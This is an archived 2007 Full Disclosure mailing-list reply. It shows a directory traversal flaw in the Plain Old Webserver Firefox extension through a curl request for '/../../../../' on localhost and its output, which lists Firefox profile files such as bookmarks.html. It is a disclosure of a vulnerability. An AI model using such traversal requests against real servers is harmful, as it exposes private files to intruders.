Full Disclosure mailing list archives
Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension
From: Stefano Di Paola <stefano.dipaola () wisec it>
Date: Fri, 09 Feb 2007 19:44:38 +0100
Plain Old Web Server Good Old Dir Traversal curl "127.0.0.1:6670/../../../../" -kivvv * About to connect() to 127.0.0.1 port 6670 * Trying 127.0.0.1... connected * Connected to 127.0.0.1 (127.0.0.1) port 6670
GET /../../../../ HTTP/1.1 User-Agent: HackTheHacker(tm) Host: 127.0.0.1:6670 Accept: */*
< HTTP/1.1 200 OK HTTP/1.1 200 OK < Set-Cookie: bc_test=true; expires=Thu, 05 Nov 2009 18:35:36 GMT; path=/; Set-Cookie: bc_test=true; expires=Thu, 05 Nov 2009 18:35:36 GMT; path=/; < Content-Type: text/html Content-Type: text/html < pow_server: POW/0.0.7 pow_server: POW/0.0.7 < Content-Location: /../../../../ Content-Location: /../../../../ < Content-Length: 280 Content-Length: 280 <br><br><br><br> <a href='/../../../../firefox/'>firefox/</a><br> <a href='/../../../../bookmarks.html'>bookmarks.html</a><br> <a href='/../../../../appreg'>appreg</a><br> <a href='/../../../../default/'>default/</a><br> <a href='/../../../../pluginreg.dat'>pluginreg.dat</a><br> * Connection #0 to host 127.0.0.1 left intact * Closing connection #0 A new motto is on the way: HackTheHacker (ascii (tm)) :) Cheers, Stefano Il giorno ven, 09/02/2007 alle 16.23 +0000, pdp (architect) ha scritto:
http://www.gnucitizen.org/blog/plain-old-webserver Must have Firefox Extension that allows you to do all sorts of crazy stuff. https://addons.mozilla.org/firefox/3002/
-- ...oOOo...oOOo.... Stefano Di Paola Software & Security Engineer Web: www.wisec.it .................. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Plain Old Webserver - The coolest firefox extension pdp (architect) (Feb 09)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension Stefano Di Paola (Feb 09)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension pdp (architect) (Feb 10)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension ascii (Feb 09)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension Billy Hoffman (Feb 12)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension ascii (Feb 12)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension Giorgio Fedon (Feb 12)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension pdp (architect) (Feb 10)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension Stefano Di Paola (Feb 09)
- Re: [WEB SECURITY] Plain Old Webserver - The coolest firefox extension Matthew Flaschen (Feb 23)